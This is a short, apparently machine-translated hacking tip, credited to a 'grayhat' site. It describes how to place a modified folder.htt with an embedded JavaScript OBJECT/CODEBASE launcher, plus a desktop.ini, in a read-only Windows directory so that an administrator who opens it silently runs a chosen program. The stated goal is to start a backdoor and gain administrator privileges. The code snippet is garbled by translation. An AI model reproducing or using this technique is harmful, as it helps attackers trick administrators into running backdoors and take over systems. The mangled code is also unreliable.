Use DESKTOP. INI and folder. htt to automatically run the program

Source: http://grayhat.512j.com/

Set the desktop in the c: winnt directory. ini and folder. htt (Note: desktop in different directories. ini and folder. htt files are different, so it must be in the winnt directory .) Copy the file and use NotePad to open the folder. htt file and add the following code to the beginning:
<Script language = "javascript">
Run_exe = "<object id =" RUNIT "!
WIDTH = 0 HEIGHT = 0 TYPE = "application/x-oleobject ""
Run_exe + = "CODEBASE =" program name .exe # version =, ">"
Run_exe + = "<param name =" _ Version "value =" 65536 ">"
Run_exe + = "</OBJECT>"
Document. open ();
Document. clear ();
Document. writeln (run_exe );
Document. close ();
</Script>
Change the program name .exe to the name of the program you want to start.
Now we only need to set the desktop. ini, folder. the htt and the program to be started are stored in the same read-only directory (remember to use the read-only directory, and the administrator should always go in). When the Administrator opens this directory, the program runs automatically.

This method can be used to obtain administrator privileges by starting the backdoor program.